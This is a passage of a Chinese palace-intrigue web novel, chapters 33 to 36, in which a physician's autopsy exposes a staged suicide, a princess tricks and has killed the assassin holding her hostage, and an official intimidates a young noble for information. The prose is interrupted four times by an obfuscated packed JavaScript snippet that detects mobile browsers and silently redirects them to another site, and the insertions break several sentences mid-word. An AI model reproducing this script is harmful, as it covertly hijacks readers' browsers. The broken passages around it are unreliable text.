她刚想直接让人把这不知死活的老仵作拉出去,忽然意识到——若粗暴解决此事,对她倒是无所谓,对薛清日后在太医院的名声却是不好。 沉吟片刻,她合掌敲了敲手心,嘴角浮上一抹冷笑:“本宫可以担保薛太医能验好这个尸。若薛太医真验出了什么,你是不是该向她赔罪?” 沧桑的面上忽然划过一丝异样的亮光,李仵作极快地应道:“可以,但若她验不出什么,公主也该为先前的质疑而向臣赔罪。” 他丝毫不觉得薛清这个年纪轻轻的女人能比得过自己。 “放肆!”林魏然皱眉斥道,“谁给你的胆子冒犯公主?” 杨灵允拍了拍林魏然的手,弯了弯眼:“可以。” 薛清进门前,神色复杂地看了一眼杨灵允——其实宫中不缺会验尸的,她记得,公主身边的那个林太傅也会验尸。 为何是自己? 杨灵允没有瞧见薛清那一眼,她正问林魏然这李老的来历,是有什么身份竟敢当众和她作对。 林魏然无奈道:“他是神威将军的后人,家中有个承了爵的哥哥。他又是个怪人,喜欢研究死人,便来刑部当了仵作。” “神威将军?”杨灵允终于从记忆中翻出了这个名字,有些无语,“这都多少年前的事了。” “对了,”她忽然想起什么,“我记得神威将军的后人并未从军,他哥哥是不是李旻?” 林魏然点点头。 “难怪,”杨灵允总算弄清了缘由,“李旻在朝中上蹿下跳地想让我滚出朝堂,看来这李仵作跟他哥哥真是一脉相承啊。” 林魏然垂眸轻声道:“先前陛下又在朝中立威,更给了这些人底气,敢对你这般放肆。” “我定好好教训他们。” 杨灵允摆摆手,“所以薛清不过是他们针对我的一个筏子,倒是连累了她。” 33. 第 33 章 “她确实是被吊死的,”半个时辰之后,薛清终于开门了,第一句话就让那李仵作面露得意之色。 只是他还未开口,薛清下一句话又彻底打碎了他的得意——“不过是被人先捂晕后,再吊在梁上的。” “怎么可能!”李盛冷笑道,“定是你这半吊子之徒验不出什么,为了面子胡言乱语!” 薛清挑眉,对杨灵允和林魏然做了个请进的手势,淡道:“诸位若不信,皆可进来看看。” 寝殿之内,大长公主的尸首被平放在正中间的木架上,盖着白布。 薛清边上前掀开白布,边冷道,“我进来时,死者衣着完好,李仵作验尸时,不会只看了她颈上那道勒痕吧?” 刑部众人的神色都变得微妙,尤其是旁观的仵作。 李仵作在刑部多年,经手的尸体不计其数,怎么可能会有这种初学者都不会犯的失误? 李盛脸色暗沉,冷声道:“大长公主乃金贵之体,岂能冒犯?况且她死时脸色青白,唇微张,舌微凸,加之桌上还有遗书,分明是自尽。” “所以你确实只看了她的脖颈处,便妄下决断,”薛清举起尸首的手,示意众人来看,“尸体的指尖留有新鲜的血迹,但梁上挂着的绳索上可没有。” 其余几名仵作一一看过后,看向李盛的眼神愈发不对劲——“是啊,这指甲中的血,照理来说李老不会发现不了啊?” 在同僚微妙的神色间,李盛脸色愈加难看,大踏步上前就想推开薛清。 林魏然拔刀拦住了他。 杨灵允笑吟吟地缓步上前,悠悠道:“李仵作,再着急也该听薛太医将话说完吧。” “你!”李盛目光投向林魏然,“林尚书,你我可是……” 他话没说完,林魏然手中的刀已然架上他的脖颈,平静道:“李老,这个赌约是你下的。验尸所得,真假一目了然,还请不要掺杂旁的东西。” 他微微眯起的眼中闪过警告之意。 李盛一怔。 薛清耸耸肩,又继续道:“还有,尸体口鼻处皆有棉絮,妆容也花了些,手肘和小腿处也有摩擦过的痕迹。我想,大约是凶手将人按在榻上,用帕子捂住口鼻,死者挣扎之时划伤了凶手,可还是昏厥了。最后,凶手再将死者悬吊于梁上,想造成死者是自缢身亡的假象。” 旁观的仵作顺着薛清的话再次细细查验,都证实了薛清所言不虚。 “李老,这回可是你出漏子了。”其中一名仵作叹口气道,“这薛太医观察仔细,是个做仵作的好手啊。” 薛清微微笑起,拱了拱手道:“只要细心查验,这些并不难发现。想必是李仵作顾忌着尸体的身份,才没有仔细查验。” 她这话看似在替李盛开脱,字字却都带着嘲讽,分明是在骂李盛渎职。 杨灵允抬了抬下巴,示意林魏然把刀收起来,对着脸色难看的李盛弯了弯嘴角:“李仵作,如今你该做什么,不用本宫提醒你吧?” 李盛几乎咬碎了牙,才从口中挤出三个字——“对不住。” 杨灵允捻着从大氅上揪下的一撮绒毛,冷声道:“本宫不知,如今刑部的道歉竟是这般敷衍吗?” 刑部中人常年与各类凶案打交道,对错分明,有同僚劝道—— “李老,这回是你不对,薛太医从宫中来帮忙,你却对人出言不敬,是该好好道歉。 形势陡转,如今李盛成了众矢之的。 在众人各色的目光和杨灵允逐渐不耐的神色中,他只得狠狠捏紧了手,又向薛清拱了拱手,咬牙道:“对不住了,薛太医。” 薛清闻言,只是淡淡地应了一声,便对杨灵允道:“公主,既已验完尸,下官先回去了。” 风轻云淡的模样更显得李盛像个跳梁小丑般可笑。 李胜狠狠捏紧了手,不甘愤懑越烧越旺——今日他跟杨灵允的人低了头,就相当于是向杨灵允妥协。他李家向来维护陛下,怎么可以向这个意图谋权篡位的女人低头? 想到这里,他转头看向林魏然,本想让林魏然帮忙找回些场子,却见林魏然的眼神都落在杨灵允身上。 那种眼神,绝不是看长公主的眼神! “林魏然!”他惊怒之下怒喝道,“枉陛下尊你信你……” 只是他话没说完,杨灵允已经示意幼荷将他的嘴堵上了。 “李盛,”杨灵允缓缓走近他,又让幼荷直接将人按跪下,居高临下地看着他,“御史李旻之弟是吧?你以下犯上的账本宫还未跟你算呢。来人,打五十打板,扔到李府门口,让李旻好好教育自己的弟弟。” 她又转头环顾了一圈众人,缓缓道:“本宫不想在刑部再看见此人。” 林魏然垂眼拱手,应了声是。 又道:“如今既查明死因,凶手身上的痕迹定然还在,下官先去排查公主府的人。” 杨灵允点点头,“我留在这看看这封所谓遗书,你查清楚了,将凶犯带到这来,我有话要问。” 一场闹剧终于落幕,众人蜂拥而出,就剩杨灵允一人。 遗书就在一边的妆台上,上面只写着十一个字——“本宫赴死,但求留我儿一命。” 也确实是大长公主的字迹。 杨灵允摩挲着这封遗书,嘲讽地笑出了声。 若是这封遗书被众人所知,李迎南在宫中的消息又传出去,估计又有不少人说,是她逼死了大长公主,逼死了自己的亲姑姑。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13078187|133984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这背后之人,当真是好算计啊。 可这般缜密的谋算之下,怎么会派一个手法如此粗糙的人来杀大长公主? 这说不过去。 只是她还没想出个所以然,门又被推开了。 “薛清?”她意外地看向来人,“你怎么又回来了?” “她说有些话一定要当面问你。”紧随着的幼荷补充道。 杨灵允挑了挑眉,还没说话,薛清已经忍不住开口问道:“为什么是我?” “嗯?”杨灵允还以为她在说先前李盛一事,便道,“那姓李的不是刻意针对你,是针对我。” “我不是问这个,”薛清直直地盯着杨灵允,“为什么一定要我验尸?长公主手下,应该不缺会验尸的人吧?” 杨灵允思忖片刻,认真道:“还真缺。” 薛清一时愣住。 杨灵允继续道:“林魏然过去做的都是捕贼官,探案可以,验尸却不擅长。至于刑部和大理寺那些人,说不准哪个人身后就牵扯着哪方势力,大长公主的死牵连甚广,我得找个会说真话的人。” “真话?”薛清重复了一遍,忽然意识到——“前几日我与林太傅在太医院的话,你听到了?” “是啊,”杨灵允耸耸肩,并未放在心上,“你验尸之术确实不错,林玉之死多亏了你的验尸结果,才查出真凶。” “可我当初说的是让林太傅提防你!”薛清不解地追问。 杨灵允无奈地叹口气,“薛太医,你怎么这么多话?你当日既然能对林魏然说心里话,如今自然也能在此次验尸中说真话,这就够了。” 比李盛那种顾忌着大长公主身份,连验尸都不敢认真验的人好太多了。 薛清怔怔地立在原地,心底陡然滑过一个念头——长公主似乎并不如传闻中那般,睚眦必报,草菅人命。 杨灵允看她神色就知道她在想什么——估计就是觉得自己错判了她。 “行了,”她摆了摆手,不想再浪费时间,催促道,“你若没事就赶紧回去。” 薛清垂下眼,咽下口中话,规矩地拱手行礼,道了声是,公主。 只是她刚刚开门,不远处传来嘈杂之音,像是在抓人。 幼荷脸色一变,推开薛清就想进屋保护杨灵允。 但已经来不及了。 异变就在一瞬间。 寝宫的后窗传来剧烈的爆裂声,木制的窗被人一脚踢碎,站在窗边手上还拿着遗书的杨灵允成了最明显的靶子。 “滚,都滚出去!” 一名破窗而入的女子以极快的速度拿刀挟持了杨灵允,并将后背紧紧靠在寝宫内侧的墙上。 不露一丝破绽。 34. 第 34 章 公主府的寝殿门大敞,外面挤了黑压压一群人,为首的是神色难看的林魏然和幼荷。 寝殿内,陌生的黑衣女子胁持着杨灵允,厉喝着让外面的人都滚开,否则就要了这位当朝长公主的命。 “你认识我?”杨灵允丝毫没有被胁持的自觉,甚至还想侧头看一眼这女子。 黑衣女子手上陡然发力,低声威胁道:“别动,否则我手中的刀可不长眼睛。” 她手上的刀堪堪逼近杨灵允的脖颈。 “别激动,”林魏然连忙抬手制止,竭力克制住语气,“只要不伤害长公主,你想要什么都好说。” 黑衣女子哼笑一声,“把刀剑全部扔了,一刻钟之内,给我备一匹马,等我出了城,自会放长公主殿下回城。” “所以是你杀了我姑母?”杨灵允这回没再乱动,但又开口问道。 黑衣女子闻言,神色变得愤懑,咬牙切齿:“她骗了我,是她该死。” “还不快去!”她阴沉着脸盯着林魏然,一字一顿,“一刻钟,若我没见到我想要的,你们都等着给她收尸!” 刀剑落地之音纷纷响起,片刻之后,林魏然及刑部众人都卸了兵器。 林魏然缓声安抚黑衣女子,眼神却始终没离开过杨灵允,“马已经去备了。” 寝殿内外寂静无声,刑部中人的视线都落在黑衣女子手上的那把刀上,生怕她情急之下伤了杨灵允,那他们的人头怕是也要跟着落地了。 杨灵允轻轻摩挲着指尖,忽地又开口问道:“她如何骗你?” “关你什么事?”黑衣女子冷声道,“长公主殿下还是多想想自己吧。” “你认识我,但我对你却没印象,所以你大约是我姑母养的暗卫,或是杀手?” 片刻的沉寂之后,黑衣女子承认了:“不错。” 杨灵允眼底微暗,继续问道:“所以那封遗书也是你写的?” 黑衣女子没回答杨灵允的话,只冷笑一声:“若不是你带来的那个太医验出了她的死因,按此计划我定可全身而退。” “此计划?看来这遗书不是你写的,”杨灵允轻轻笑了一声,然后压低了声音,蛊惑般道,“这位姑娘,我这有一桩更划算的买卖,你做不做?” 黑衣女子很警惕,“你别想耍什么花样。” 杨灵允抬手按住了黑衣女子拿刀的那只手,继续轻声道:“看见外面那为首的男子了吗?他叫林魏然,当今帝师,宁安侯之子,而宁安侯如今处处与我作对。这些想必你都知道吧?” 话音刚落,她就感觉肩上的力道愈发得大——是那黑衣女子攥紧了自己的肩。 “别耍小心眼。我知你心思多,但我这一刀下去,你再多的心思也不管用。”黑衣女子冷声警告道。 言语可以伪装,但下意识的动作却难以掩饰——她分明动摇了。 杨灵允无声地翘了翘嘴角,继续道:“你胁持了本宫,就算能安全出城,林魏然也不会放过你,否则他就会被扣上一个办事不利的罪名。不过呢,本宫早就想找个机会挫挫宁安侯府的锐气。” “你告诉本宫那封遗书究竟是哪来的,本宫保你平平安安出城,无人再敢追究你,日后山高水远,你逍遥自在,如何?” 肩上的力道又放松了些。 但黑衣女子仍没有松口:“我杀了你姑母,你不想替她报仇,还想放我平安离开?” 杨灵允轻笑一声,“本宫与她的关系如何,你既然是姑母的暗卫,自然清楚吧?你杀了她,也算为本宫除了个心头大患,本宫为何不能放你平安离开?” 黑衣女子冷声道:“我怎么知道你是不是在诓我?” “大长公主难道没和你讲过?”杨灵允指尖微动,娓娓道来,“本宫病弱。你一个刀尖上舔血的暗卫,还担心本宫动什么手脚不成?” 感受到肩上力道的慢慢松懈,她又加了最后一把柴:“况且,你平安离开,更显得林魏然办事不利,于本宫有利无害。这买卖对你我双方都有利。” 冬末午后的风缓缓吹进寝殿,合着杨灵允蛊惑般的声音,黑衣女子彻底动摇了。 “你又如何保我安全离开?” “你放我回城,我便下令严查各城门进出之人。届时就算林魏然的人想出城也出不了,你有足够的时间离开长安。” 杨灵允嘴角浮起一抹笑,幽幽问道:“对了,还未曾问过姑娘姓名。” “沈棠。”黑衣女子吐出两个字,显然是已经默认了与杨灵允的这桩买卖。 “沈棠……”杨灵允重复了一遍,轻笑道,“我已给出了我的诚意,沈姑娘是不是也该展现一下你的诚意?” 沈棠沉默片刻,开口道:“信是我昨日去福安酒楼买酒时收到的,给我信的是一个中年模样的人,说只要我将大长公主的死伪装成自杀,再将此信放于她桌上,便不会再有人质疑。” “你又是几时对我姑母动了杀心?” “也是昨日,”沈棠情绪一下又变得激动,咬牙道,“她说我哥哥在乌山的别院当守卫,过得很好。可我昨日才知道,我哥哥早死了!就是被这个该死的女人杀了!我们兄妹替她做了这么多,她却想赶尽杀绝,她该死!” “原来如此。”杨灵允叹口气,“这么说来,你也算是个可怜人。” 沈棠喉咙微动,没想到竟能从这位长公主殿下口中听到这种话。 只是她心底的触动还未持续片刻,杨灵允忽然指尖用力,狠狠捏住了她持刀那手的麻筋。 被骗了! 就在她咬牙忍痛想用另一只手控制住杨灵允的同时,杨灵允已敏捷地闪身,与此同时,一把横刀自门外而来,转瞬间,贯穿了她的心肺处。 “铿锵”一声,沈棠手中的横刀落地,杨灵允毫发无伤地站在一边。 沈棠捂着伤处缓缓滑落,只看见林魏然才殿外冲进来,紧抿着唇将杨灵允护在身后。 那把横刀是他掷进来的! 被骗了,什么狗屁挫挫宁安侯府的锐气。 从一开始,她就在骗她! “你……”沈棠挣扎着想起身质问。 可是朝中形势她不是不知道,宁安侯分明就在与杨灵允作对,为何,为何杨灵允还会信林魏然这个宁安侯之子? 剧烈的疼痛很快淹没了沈棠所有的思绪,在阖眼前的最后一刻,她只看到杨灵允缓缓走近,轻声说:“我实在不放心把自己的命交到你手上,所以只能你去死了。” 然后天地间便再无声响,一片寂静。 杨灵允弯腰合上了沈棠瞪大的无神的双眼,然后转身道:“去福安酒楼,沈棠说遗书是在福安酒楼拿到的。” …… 去福安酒楼的路上,林魏然都在杨灵允身边碎碎念:“可有受伤?还是先回宫中修养?” 但刚经历五灵村那事,杨灵允也不好直截了当地让林魏然闭嘴,只得叹气道:“我没事,沈棠,就是那黑衣女子,她想靠胁持我逃出长安,又怎会伤我?” “可当时也太险了!”林魏然还在后怕,若他没有看到杨灵允动手前的暗示,若他掷刀再晚了些…… 杨灵允一摊手,“这不是没事吗?别担心了。” 林魏然还是压不住心底后怕,忍不住继续碎碎念,“宣和,你做事真的太大胆了些。” 杨灵允撇撇嘴,忽然回头看了一眼。 与此同时,林魏然神色陡变,刀已出鞘:“怎么了?” 杨灵允终于忍不住笑了一声,“我看看后面有没有跟着人,别让刑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13126251|133984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 部同僚看见林尚书这般唠叨的模样。” 林魏然反应过来杨灵允是在捉弄他,无奈地收回刀。 “对了,”杨灵允忽然想起一件事,“沈棠说,她哥哥在乌山的别院当差,后来被大长公主所杀。” “乌山?”林魏然沉吟片刻,“莫不是那夜我们看到的那些侍卫?是因刺杀未遂,为了掩盖罪行才杀了那些守卫吧?” 说着,他又将五灵村的那些贼寇尸首所得告诉了杨灵允。 “寒食?”杨灵允头疼地捏了捏眉心,“怎么这么多事,这些先放一边,等郑虔进京后再说。如今要先查出到底是谁给了沈棠那封遗书,引诱沈棠去杀大长公主。” 二人到达福安酒楼时已过饭点,酒楼中没多少顾客,酒楼掌柜正在前台劈里啪啦地算着账。 两人没有亮明身份,只说是刑部查案,问掌柜和店小二可曾见过沈棠。 幸好林魏然提前让人绘了沈棠的画像出来,掌柜一见画像,便连连点头:“这姑娘昨夜来过我这儿,就在门外,只点了一壶酒,跟一个男的相谈许久。我瞧他们神色不对劲,也没敢上前多问。” “男的?”林魏然追问道,“什么模样?” 这回掌柜却迟疑了许久,回想半天,也只模模糊糊比划出一个轮廓,苦着脸道:“上官,我实在记不得他长什么模样了。大约就是三十出头,中等身材,留着个络腮胡。” 杨灵允拧着眉头,视线环顾了一圈,却见到好几个店小二正在楼道那边忙碌着什么,还不时有人上下来回跑动。 “那是在做什么?” 这次掌柜挺直了背,自得道:“是吏部的上官要宴请回京述职的上官,特来我这福安酒楼定了位,就在今晚呢。刚刚特意来嘱咐我们此次宴席不能有差错,排场也得大,这不,正着人装饰呢。” 这趟福安酒楼之行没什么收获,除了杨灵允手中的那壶福安酩。 林魏然先是嘱咐了等下派人来画像,让老板务必好好回忆昨夜那男子的相貌,才与杨灵允一起离开。 回宫路上,林魏然微微皱眉问道:“我记得此时回京的只有前冀州刺史和南下的赵御史吧?” 杨灵允点头道:“不错,前冀州刺史吴安,还有南下巡视经过冀州的刺史赵临。” 林魏然抬手掐了掐眉心,疏朗的面孔上终于露出些疲惫之色:“那安王,是不是也快抵达京师了?” “嗯,”杨灵允侧头看了他一眼,淡道,“怎么,怕我对安王下手,提前来试探我?” “不是,”林魏然连忙否认,“我只是觉得,这所有事都凑到一起,太巧了。” “况且……” 林魏然踌躇许久,才说出了这后半句话:“你身子尚未痊愈,太医说了不能太过劳神。” 午后的朱雀大街上,来往百姓络绎不绝,临街店铺琳琅满目,风中还传来早春的气息,一切似乎都是平静而祥和。 但繁华之下始终有暗潮涌动。 杨灵允重重地吐出一口气,收回眼神,对林魏然说,回宫吧。 —— 一踏入宣德门,杨言便匆匆来报,说李迎南在东阁那边闹着要见大长公主,还拿刀以死相逼。 与此同时,魏连望也小心翼翼地上前提醒杨灵允喝药时间到了。 “先去喝药吧,”林魏然替她拢了拢大氅,垂眸道,“李迎南那边,我去解决。” 杨灵允看了他一眼,然后应下了,“没了大长公主,小侯爷不过是个纨绔子弟,不成气候。你看在昔日情面上放他离开,我没意见。” 林魏然弯唇笑笑,遮住了眼底一闪而过的暗色——李迎南过去有多荒唐,他最清楚不过。 他得确保李迎南不会再被有心人挑拨利用,对她造成伤害。 35. 第 35 章 “我娘呢?”东阁内,李迎南拿到架在脖子上,厉声道,“让我见我娘,否则今日我就死在这,让她背上一个谋害手足的罪名!” 守门的守卫站在门口不敢进来,生怕这位小侯爷情急之下真寻了死。 “小侯爷,”林魏然踏着午后稀薄的日光缓缓而来,“把刀放下,我们好好说。” 李迎南进宫不过一日,面孔已有些憔悴,但见了林魏然时神色陡然变亮:“容时!他们都是骗我的对不对?快带我去见我娘!” “你们先出去,把门关上。”林魏然抬手吩咐道,手无寸铁就踏进了东阁。 “林太傅这……”守卫有些担心,但在林魏然的吩咐也只得照做。 转瞬之间,东阁内只剩林魏然与李迎南二人。 李迎南不自觉动了动喉咙,握紧了手中的刀,“你做什么?为什么不让我见我娘?” 林魏然镇定地坐下倒了两杯茶,然后抬眼看李迎南,叹息道:“大长公主死了。” 李迎南怔愣了片刻,像是没听懂林魏然的话。 但片刻之后,他忽然挥刀直指林魏然,怒吼道:“是不是你,是你和那姓杨的女人杀了我娘!是不是!” 林魏然看着他毫无章法的挥刀和痛苦的神色,终于确定了自己的猜测——宫中有细作,把宫外的事传到了李迎南耳中。 否则他从一开始,就不会说出那句——他们在骗我是不是? “大长公主是被一个名唤沈棠的暗卫所杀,”林魏然起身轻声道,“沈棠招供,此案已了。” 李迎南猛然挥刀,制止林魏然的靠近,神色扭曲,咬牙切齿,“不可能,沈棠是我娘十多年的暗卫,她怎么可能背叛我娘!” 林魏然靠近的脚步停在原地,眼底是一闪而过的暗色:“沈棠说,是因为大长公主杀了在乌山的守卫,其中便有她哥哥。” “乌山?”李迎南倏然顿住,像是想起了什么。 趁他分心之际,林魏然身形微动,利落地在他持刀的手腕处一敲,横刀铿锵落地。。 手腕处传来的疼痛终于让李迎南回神,他怒视着林魏然:“你诓我是不是?” 缴了械,林魏然又坐下来,缓缓道:“看来你知道大长公主到底在乌山做了些什么。先坐下吧,沈棠也是被利用的,你难道不想知道到底是谁杀了大长公主?” “除了杨灵允还有谁?”李迎南怒吼着,直接踢翻了屋内的小桌,茶碗茶壶碎裂一地,茶水淌在光滑的大理石地面上。 他三步并作两步往门口冲,一副要找人拼命的阵仗。 林魏然无奈地叹口气,在李迎南即将推门的最后一刻抓住了他的肩,狠狠向下一压,控制住了他。 “小侯爷,冷静一些,你若真去找长公主拼命,才是中了这背后之人的计。” 李迎南被迫半跪在地上,愤怒地想脱开林魏然的桎梏。但林魏然多年在地方练出来的抓捕之术又岂是他一个娇生惯养的纨绔子弟能脱开的? “你好好想想,若长公主真想杀大长公主,为何要召你进宫?把你留在公主府和大长公主一起解决了岂不更方便?” 林魏然继续缓声劝道。 李迎南挣扎的动作小了些。 到底是天家子弟,再纨绔这些道理也都明白,但被林魏然像凶犯一样压着,他实在不痛快。 “你先放开我。”他没好气道。 林魏然很爽快地松开手,背抵着门,平淡道:“如今已经在查沈棠背后之人,你若想早点查出杀害大长公主的真凶,就告诉我今日是谁把大长公主逝世的消息传给你的?” 李迎南垂眸揉捏着肩膀,许久没吭声。 林魏然也不着急,倚门把玩着手中的一块碎片,耐心地等着李迎南的回答。 良久之后,李迎南却没有回答他,而是冷笑一声:“就算我娘不是杨灵允杀的,也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13149541|133984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因杨灵允而死。我凭什么帮她?她与那真凶最好斗得两败俱伤,死了也是她活该!” 杨灵允的身体状况始终是林魏然心尖上的一根刺,李迎南此话更是直接将这根刺狠狠扎进他心底。 碎片忽然掉落——“哐当”一声,不大,却让李迎南眉心狠狠一跳,下意识看林魏然。 林魏然背着光,面孔湮没在阴影中,看不清神色,但声音变低了些,“小侯爷,我是在救你,你若什么都不说,那就等死吧。” 这是林魏然惯常审犯人的模样,李迎南曾见过一次,至今难忘。 他下意识舔了舔唇,冷声反问:“我乃大长公主之子,平阳侯世子,你有什么资格审我?” 林魏然沉默地卷起一截衣袖,抬脚靠近了些。 “你,你要做什么?”李迎南下意识地后退几步,色厉内茬地吼道,“来人,还不来……” 他话还未说完,林魏然已经动手将他掼到地上,他的脸离尖锐的碎片只有一指之距。 然后又被林魏然攥着肩拉起来。 林魏然半蹲在他面前,心平气和道:“小侯爷,我说了,我是在救你。” “把你知道的说出来,我才能抓住杀害大长公主的真凶,你这条命才能保住。否则,这次真凶栽赃公主殿下不成,下一次若是想用你的命来给公主殿下泼污水呢?” 李迎南剧烈地喘了好几口气,才堪堪回过神来,看着林魏然的眼神中有一闪而过的恐惧,但又咬牙强撑着不露馅:“林魏然,你就是这样对我这个好友? 寒凉的日光从窗棂间的缝隙中透进来,落在一地的碎片上,反射有些刺眼的光茫。 而这光芒又落单林魏然的面孔上,半明半暗的,加深了他眉眼的轮廓,少了些清朗的少年气,抬眼间更多了几分深重的威压。 “时北,”林魏然轻声喊道,“我最后一次问你,到底是谁把大长公主的死告诉你的?” 36. 第 36 章 林魏然彻底露出属于权臣的那副面孔,喊的是他的表字,神色却居高冷漠,骨节分明的手指间捏着一块锋利的碎片。 李迎南深吸一口气,举手投降:“我说,我说,是我在太极宫附近遇到的一个宫女。我也不知道她叫什么。” 林魏然终于松开手,然后起身拍了拍他的肩,“好好呆在这。等抓到真凶,我会告诉你。” 说罢,他抬脚离开。 “林魏然!”李迎南呲牙咧嘴地站起来,边揉着自己的肩膀边语气不善地质问,“你有把我当你朋友吗?” 林魏然回头看他一眼,扯扯嘴角:“你有吗?你哪次找我没有目的?” “我……”李迎南一时语塞,又强词夺理,“可你我好歹也有四五年的交情!” “所以我让你好好呆在这,”林魏然轻嘲道,“不要掺和进这些事,留着命日后好好过你的逍遥日子。” 在李迎南的愣神间,林魏然已经走出东阁,但他手握上门框的那一刻,忽然又回头看了眼李迎南,透黑的眼底盈着浓重的警告之色—— “还有,不要让我再听见你对公主殿下出言不逊。” 其实他并不信鬼神诅咒之说,但在杨灵允一事上,却格外在意这些。 门被狠狠拍上,李迎南也终于反应过来——林魏然态度大变开始下狠手时,好像就是自己说长公主死了也活该之后。 他低头看了看自己的手心——其实到头来自己毫发无损,连个口子都没划破。 虽说做了这么多年的纨绔子弟,但到底是宫中耳濡目染地长大,识人断事自有一套。 他神色复杂地抬头看了看紧闭的大门,幽幽叹息道:“容时啊容时,你可是帝师,怎么能这般在意长公主呢?你和她,到底不是一路人。” 东阁外,林魏然平静地吩咐守卫守好东阁,一日三餐要验过毒才能送进去,没有他和杨灵允的命令,什么人都不许靠近。 …… 栖暖殿,苦涩的药味都没能盖过福安酩浓醇的酒香。 林魏然一进门便轻轻皱眉,眼神落在倚在榻上的杨灵允身上。 那壶从福安酒楼带回来的福安酩已经空了,唯有案上白玉酒樽中还有最后一杯。 “你喝酒了?魏太医如何说的?” 杨灵允抬眼看向来人,又慢慢阖眼,“最近事多,错过了前两日皇兄的生辰,今日来陪他喝一杯。” 林魏然心头微跳——姑母早逝,表哥是与宣和一同养在端贤皇太后膝下。 “宣和……”他上前按住杨灵允想拿起酒樽的指尖,温声劝道,“表哥就葬在长安外,你若想见他明日就可以去。” 指尖被人握在手心,杨灵允终于又睁眼。 但她似乎有些醉了,声音都变得恍惚——“谁说我想见他?” “我只是……” 只是什么,到最后她也没说出口,只忽然将矛头对准了林魏然:“他可是你表哥,你为什么不伤心?” 这话听着就像是醉鬼的无理取闹。 林魏然失笑,食指轻轻抚过杨灵允的侧脸,轻声道:“表哥离世,我自然伤心。可此事已快一年了,活着的人总要继续好好活着,才算告慰逝者。” “真的吗?”杨灵允睁大了眼看着林魏然,脸上露出一种示弱的悲伤,“可他死了,我却不能为他报仇。若我都把他的死抛之于后,他一定会怪我的。” 眼前的人渐渐模糊,在杨灵允的视线中幻化成另一张面孔——更加成熟,也更加悲悯的面孔。 “哥……”失神间,她缓缓抬手想抓住他,低声呢喃着,“对不起啊,我还是没能找到凶手。” 林魏然抓住了杨灵允悬在半空的手,轻声道:“好好活着并不意味着忘记离去的人。他不怪你,他希望你能好好活着。” 指尖传来愈发灼热的温度,杨灵允终于缓缓回神,看着林魏然的眼神也清明了几分。 她忽然轻轻笑了一下:“林魏然,你难道没想过吗?若皇兄没死,一切都会不一样——很多人都不用死,而你,你会是新皇心腹,朝中重臣,无人敢议论你质疑你。” “你怪我吗?怪我掀起三王之乱,才让皇兄命丧宫中,才造成如今这种局面。” 林魏然沉默了片刻,忽然握紧了杨灵允的指尖,一字一字道:“那三年我不在京中,虽不知京中形势,但也能猜到你们在那三年间也过得不容易。你们在京中扛着一切,我却安居于偏远之地,我没有资格说什么。” 他眼底闪过杨灵允看不懂的神色,然后低头很珍惜地吻了吻杨灵允的指尖,又抬眼笑笑:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13174977|133984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宣和,表哥不会怪你,表哥希望我们好好活着。” 好好活着。 杨灵允唇齿间滚过这四个字,空着的另一只手下意识地想去拿酒樽,但被林魏然眼疾手快地制止了。 “你有时候真的很烦。我又不多喝,就一杯。” 其实她先前已经喝了好几杯,福安酩后劲大,她酒量再好,也只能维持着尚算流畅的言语,至于其他的,只能凭本能而行。 林魏然看得出来,脸上带着纵容的笑意,手上极快地将剩余的福安酩一饮而尽。 “等伤好了再喝。”他温和地笑道。 杨灵允撇撇嘴,不满地阖眼倚在了榻上,“那你滚出去,我要休息。” 这副骄矜的模样让林魏然心头一颤,止不住地怀念,甚至还低低地笑了一声。 不过他懂得见好就收,只是离开还不忘将酒樽和原本装着福安酩的壶子都带走。 门外杨言还在候着,见林魏然出来,让小安子送林魏然出宫。 林魏然却忽然停下脚步,问道:“杨公公跟了公主殿下多少年?” “回太傅,四年。” 林魏然若有所思地点点头:“四年啊……你跟着公主的这四年,公主过得如何?” 这是个敏感的问题,况且杨言本就被杨灵允敲打过,自然什么也不会说,四两拔千斤地挡回去了。 林魏然挑眉笑了:“你倒是忠心。” 他没再多问,转身离开,只是离开时眼神微暗—— 